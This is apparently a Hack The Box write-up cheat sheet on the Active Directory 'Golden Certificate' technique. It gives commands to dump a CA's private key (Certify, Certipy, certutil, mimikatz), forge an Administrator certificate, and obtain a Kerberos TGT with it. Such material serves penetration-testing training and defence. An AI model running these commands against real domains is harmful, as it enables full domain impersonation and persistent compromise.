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hack the box machine writeups

Active Directory - Golden Certificate

contents

A Golden Certificate is a maliciously crafted certificate that an attacker generates using the CA’s private key.

Obtain CA certificate#

Export the CA certificate including the private key:

  • GhostPack/Certify

    Certify.exe manage-self --dump-certs

  • ly4k/Certipy

    certipy ca -u 'administrator@corp.local' -p 'Passw0rd!' -ns '10.10.10.10' -target 'CA.CORP.LOCAL' -config 'CA.CORP.LOCAL\CORP-CA' -backup

  • windows-gui/certsrv.msc

    • Open certsrv.msc
    • Right click the CA -> All Tasks -> Back up CA...
    • Follow the wizard but make sure to check Private key and CA certificate

  • windows-gui/certlm.msc

    • Open certlm.msc
    • Go to Personal -> Certificates
    • Right click the CA signing certificate -> All Tasks -> Export
    • Follow the wizard but make sure to choose Yes, export the private key

  • windows-commands/certutil

    certutil -backupKey -f -p SuperSecurePassw0rd! C:\Windows\Tasks\CaBackupFolder

  • gentilkiwi/mimikatz

    mimikatz.exe "crypto::capi" "crypto::cng" "crypto::certificates /export"

Forge Golden Certificates#

Forge a certificate of a target principal:

  • GhostPack/Certify

    Certify.exe forge --ca-cert <pfx-path/base64-pfx> --upn Administrator --sid S-1-5-21-976219687-1556195986-4104514715-500

  • GhostPack/ForgeCert

    ForgeCert.exe --CaCertPath "ca.pfx" --CaCertPassword "Password" --Subject "CN=User" --SubjectAltName "administrator@domain.local" --NewCertPath "administrator.pfx" --NewCertPassword "Password"

  • ly4k/Certipy

    certipy forge -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500' -crl 'ldap:///'

certipy forge -template 'attacker.pfx' -ca-pfx 'CORP-CA.pfx' -upn 'administrator@corp.local' -sid 'S-1-5-21-...-500'

:warning: Useful parameters when generating a golden certificate.

  • -crl: If the -crl option is omitted when forging, authentication might fail. While the KDC doesn’t typically perform an active CRL lookup during initial TGT issuance for performance reasons, it does often check for the presence of a CDP extension in the certificate. Its absence can lead to a KDC_ERROR_CLIENT_NOT_TRUSTED error.
  • -template 'attacker.pfx': Certipy will copy extensions (like Key Usage, basic constraints, AIA, etc.) from attacker.pfx into the new forged certificate, while still setting the subject, UPN, and SID as specified.
  • -subject "CN=xyz-CA-1, DC=xyz, DC=htb": set the Distinguished Name for the certificate

Request a TGT#

  • GhostPack/Rubeus

    Rubeus.exe asktgt /user:Administrator /domain:dumpster.fire /certificate:<pfx-path/base64-pfx>

  • ly4k/Certipy

    certipy auth -pfx 'administrator_forged.pfx' -dc-ip '10.10.10.10'

References#